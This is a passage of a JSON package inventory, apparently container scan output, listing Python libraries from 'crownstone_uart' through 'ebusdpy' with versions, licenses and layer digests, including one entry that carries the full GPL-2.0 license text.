"sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/crownstone_uart-2.1.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "cryptography", "Identifier": { "PURL": "pkg:pypi/cryptography@48.0.1", "UID": "1913c32f26e4d265" }, "Version": "48.0.1", "Licenses": [ "Apache-2.0 OR BSD-3-Clause" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/cryptography-48.0.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "cssselect", "Identifier": { "PURL": "pkg:pypi/cssselect@1.4.0", "UID": "ea670b89a95c9e16" }, "Version": "1.4.0", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/cssselect-1.4.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "dacite", "Identifier": { "PURL": "pkg:pypi/dacite@1.9.2", "UID": "51235446cf2ec901" }, "Version": "1.9.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/dacite-1.9.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "data-grand-lyon-ha", "Identifier": { "PURL": "pkg:pypi/data-grand-lyon-ha@0.9.0", "UID": "13afd18070ee1f22" }, "Version": "0.9.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/data_grand_lyon_ha-0.9.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "dataclass-wizard", "Identifier": { "PURL": "pkg:pypi/dataclass-wizard@0.39.1", "UID": "59168ac8f9609166" }, "Version": "0.39.1", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/dataclass_wizard-0.39.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "dataclasses-json", "Identifier": { "PURL": "pkg:pypi/dataclasses-json@0.6.7", "UID": "e5e5df74def87b0c" }, "Version": "0.6.7", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/dataclasses_json-0.6.7.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "datadog", "Identifier": { "PURL": "pkg:pypi/datadog@0.52.1", "UID": "9de1683e0e2f2adb" }, "Version": "0.52.1", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/datadog-0.52.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "datapoint", "Identifier": { "PURL": "pkg:pypi/datapoint@0.12.1", "UID": "8100d1eefb9a333a" }, "Version": "0.12.1", "Licenses": [ "GPL-3.0-only" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/datapoint-0.12.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "dateparser", "Identifier": { "PURL": "pkg:pypi/dateparser@1.4.1", "UID": "6d56a3d121c88097" }, "Version": "1.4.1", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/dateparser-1.4.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "dbus-fast", "Identifier": { "PURL": "pkg:pypi/dbus-fast@5.0.22", "UID": "879e92c4eab951d2" }, "Version": "5.0.22", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/dbus_fast-5.0.22.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "debugpy", "Identifier": { "PURL": "pkg:pypi/debugpy@1.8.21", "UID": "cc510fe7a02c8ed9" }, "Version": "1.8.21", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/debugpy-1.8.21.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "decora-wifi", "Identifier": { "PURL": "pkg:pypi/decora-wifi@1.4", "UID": "e2b1e556298986eb" }, "Version": "1.4", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/decora_wifi-1.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "decorator", "Identifier": { "PURL": "pkg:pypi/decorator@5.2.1", "UID": "123549d7a70d9a61" }, "Version": "5.2.1", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/decorator-5.2.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "deebot-client", "Identifier": { "PURL": "pkg:pypi/deebot-client@18.4.0", "UID": "88090d45e3fd376c" }, "Version": "18.4.0", "Licenses": [ "GPL-3.0-or-later" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/deebot_client-18.4.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "deepdiff", "Identifier": { "PURL": "pkg:pypi/deepdiff@9.1.0", "UID": "10aaf5493cf61efa" }, "Version": "9.1.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/deepdiff-9.1.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "deepmerge", "Identifier": { "PURL": "pkg:pypi/deepmerge@2.1.0", "UID": "237cbd78ef1207fb" }, "Version": "2.1.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/deepmerge-2.1.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "defusedxml", "Identifier": { "PURL": "pkg:pypi/defusedxml@0.7.1", "UID": "7f775268ff98df1d" }, "Version": "0.7.1", "Licenses": [ "Python Software Foundation License" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/defusedxml-0.7.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "deluge-client", "Identifier": { "PURL": "pkg:pypi/deluge-client@1.10.2", "UID": "a283add68be20bfc" }, "Version": "1.10.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/deluge_client-1.10.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "demetriek", "Identifier": { "PURL": "pkg:pypi/demetriek@1.3.0", "UID": "b5672e07a8c6aee0" }, "Version": "1.3.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/demetriek-1.3.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "demjson3", "Identifier": { "PURL": "pkg:pypi/demjson3@3.0.6", "UID": "fa8cf905a8cc9f9f" }, "Version": "3.0.6", "Licenses": [ "LGPL-2.1-only" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/demjson3-3.0.6.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "denon-rs232", "Identifier": { "PURL": "pkg:pypi/denon-rs232@4.1.0", "UID": "271079964347c8df" }, "Version": "4.1.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/denon_rs232-4.1.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "denonavr", "Identifier": { "PURL": "pkg:pypi/denonavr@1.3.3", "UID": "85ecbb1f5662fa9d" }, "Version": "1.3.3", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/denonavr-1.3.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "devialet", "Identifier": { "PURL": "pkg:pypi/devialet@1.5.7", "UID": "1950fa355139949e" }, "Version": "1.5.7", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/devialet-1.5.7.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "devolo_home_control_api", "Identifier": { "PURL": "pkg:pypi/devolo-home-control-api@0.19.1", "UID": "e0f7e63a5d4bc951" }, "Version": "0.19.1", "Licenses": [ "GPL-3.0-or-later" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/devolo_home_control_api-0.19.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "devolo_plc_api", "Identifier": { "PURL": "pkg:pypi/devolo-plc-api@1.5.1", "UID": "366ca31f9107d115" }, "Version": "1.5.1", "Licenses": [ "GPL-3.0-or-later" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/devolo_plc_api-1.5.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "dicttoxml", "Identifier": { "PURL": "pkg:pypi/dicttoxml@1.7.16", "UID": "992ddc62e6f1bb6e" }, "Version": "1.7.16", "Licenses": [ "text://GNU GENERAL PUBLIC LICENSE Version 2, June 1991 Copyright (C) 1989, 1991 Free Software Foundation, Inc. 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Lesser General Public License instead.) You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things. To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it. For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software. Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations. Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all. The precise terms and conditions for copying, distribution and modification follow. TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The \"Program\", below, refers to any such program or work, and a \"work based on the Program\" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term \"modification\".) Each licensee is addressed as \"you\". Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does. 1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change. b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License. c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following: a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.) The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code. 4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. 6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License. 7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and \"any later version\", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. 10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES." ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/dicttoxml-1.7.16.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "dicttoxml2", "Identifier": { "PURL": "pkg:pypi/dicttoxml2@2.1.0", "UID": "2b165d35fe2c88fc" }, "Version": "2.1.0", "Licenses": [ "GPL-2.0-only" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/dicttoxml2-2.1.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "dio-chacon-wifi-api", "Identifier": { "PURL": "pkg:pypi/dio-chacon-wifi-api@1.3.0", "UID": "6cc7ddd40782dfac" }, "Version": "1.3.0", "Licenses": [ "GPL-3.0-or-later" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/dio_chacon_wifi_api-1.3.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "directv", "Identifier": { "PURL": "pkg:pypi/directv@0.4.0", "UID": "f8765d88307c7e4c" }, "Version": "0.4.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/directv-0.4.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "discogs-client", "Identifier": { "PURL": "pkg:pypi/discogs-client@2.3.0", "UID": "580eaa92139c262b" }, "Version": "2.3.0", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/discogs_client-2.3.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "discovery30303", "Identifier": { "PURL": "pkg:pypi/discovery30303@0.3.3", "UID": "d355eb42fbfa143a" }, "Version": "0.3.3", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/discovery30303-0.3.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "distlib", "Identifier": { "PURL": "pkg:pypi/distlib@0.4.3", "UID": "f9a2de1b6956fb0e" }, "Version": "0.4.3", "Licenses": [ "Python Software Foundation License" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/distlib-0.4.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "distro", "Identifier": { "PURL": "pkg:pypi/distro@1.9.0", "UID": "4369d0bd5674dae" }, "Version": "1.9.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/distro-1.9.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "dlms-cosem", "Identifier": { "PURL": "pkg:pypi/dlms-cosem@21.3.2", "UID": "11d7c4f933ed4009" }, "Version": "21.3.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/dlms_cosem-21.3.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "dnspython", "Identifier": { "PURL": "pkg:pypi/dnspython@2.8.0", "UID": "8c00323732f7d52c" }, "Version": "2.8.0", "Licenses": [ "ISC" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/dnspython-2.8.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "docopt", "Identifier": { "PURL": "pkg:pypi/docopt@0.6.2", "UID": "61938d3a2c198636" }, "Version": "0.6.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/docopt-0.6.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "docstring_parser", "Identifier": { "PURL": "pkg:pypi/docstring-parser@0.18.0", "UID": "a8e4915c4f03ba5d" }, "Version": "0.18.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/docstring_parser-0.18.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "dpkt", "Identifier": { "PURL": "pkg:pypi/dpkt@1.9.8", "UID": "b5da9c3a9eacb88e" }, "Version": "1.9.8", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/dpkt-1.9.8.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "dremel3dpy", "Identifier": { "PURL": "pkg:pypi/dremel3dpy@2.1.1", "UID": "2569d82e1ba6155c" }, "Version": "2.1.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/dremel3dpy-2.1.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "dropmqttapi", "Identifier": { "PURL": "pkg:pypi/dropmqttapi@1.0.3", "UID": "c06e84c1bc3efbf8" }, "Version": "1.0.3", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/dropmqttapi-1.0.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "dsmr-parser", "Identifier": { "PURL": "pkg:pypi/dsmr-parser@1.11.1", "UID": "5ab7921908089884" }, "Version": "1.11.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/dsmr_parser-1.11.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "dwdwfsapi", "Identifier": { "PURL": "pkg:pypi/dwdwfsapi@1.0.7", "UID": "8a0400f3009261fd" }, "Version": "1.0.7", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/dwdwfsapi-1.0.7.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "dynalite-devices", "Identifier": { "PURL": "pkg:pypi/dynalite-devices@0.1.47", "UID": "a0e91171455ec218" }, "Version": "0.1.47", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/dynalite_devices-0.1.47.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "dynalite-panel", "Identifier": { "PURL": "pkg:pypi/dynalite-panel@0.0.4", "UID": "2e8603a8ce3e85e7" }, "Version": "0.0.4", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/dynalite_panel-0.0.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "eagle100", "Identifier": { "PURL": "pkg:pypi/eagle100@0.1.1", "UID": "6a4aa90a0765bc56" }, "Version": "0.1.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/eagle100-0.1.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "earn-e-p1", "Identifier": { "PURL": "pkg:pypi/earn-e-p1@0.1.0", "UID": "c576e392c39a1583" }, "Version": "0.1.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/earn_e_p1-0.1.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "easyenergy", "Identifier": { "PURL": "pkg:pypi/easyenergy@3.0.1", "UID": "aeed9041c27954b2" }, "Version": "3.0.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/easyenergy-3.0.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "ebusdpy", "Identifier": { "PURL": "pkg:pypi/ebusdpy@0.0.17", "UID": "c6cf89efe1bac601" }, "Version": "0.0.17", "Licenses": [ 